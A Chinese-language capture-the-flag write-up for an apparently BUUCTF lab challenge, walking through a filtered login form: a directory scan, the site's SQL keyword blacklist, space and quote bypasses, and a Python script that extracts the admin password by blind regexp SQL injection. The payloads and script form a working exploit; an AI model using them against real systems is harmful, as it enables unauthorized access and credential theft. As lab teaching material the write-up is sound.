黑盒,我先随便写了密码发现过滤了,那就扫一下
dirsearch -u http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/ -w /home/kali/Desktop/dirsearch/db/dicc.txt
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
过滤的还是挺多的我们要爆出密码来,这个东东不好整
先思考如何写注入语句
首先/**/绕过空格,然后%00当注释
随便写了一个username=1&passwd=||/**/1%00
这里我们使用\
转义然后自己;
在闭合语句
username=\&passwd=||/**/1;%00
我们使用正则来依次累加字符,最后拼接字符串
引号被过滤了,我们选择使用双引号来进行绕过
username=\&passwd=||/**/passwd/**/regexp/**/"^y";%00
我挨着试给我快按死了
username=\&passwd=||/**/passwd/**/regexp/**/"^yo";%00
欧克写脚本
import requests
from urllib import parse
import time
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
# 不用大写
url = 'http://a2160d4b-7939-4224-9baa-9d7bc56659db.node5.buuoj.cn:81/'
passwd = ""
i = 0
while i < 80:
for one_char in strings:
data = {
'username':'\\',# 一个斜杠不能达到效果
'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00') #在python中对url进行解码
# 实现"^字符串"
}
rs = requests.post(url,data).content.decode('utf-8')
# 必须把响应包解码
time.sleep(0.01)
if 'welcome' in rs:
passwd += one_char
print("\r", end="")#动态更新内容(进度条)
print('已匹配到前'+str(i+1)+'位'+' | '+str(passwd),end='')
i += 1
break
if one_char=='~' and 'welcome' not in rs:
print('\n密码共'+str(i)+'位,已匹配完成')
i = 80
break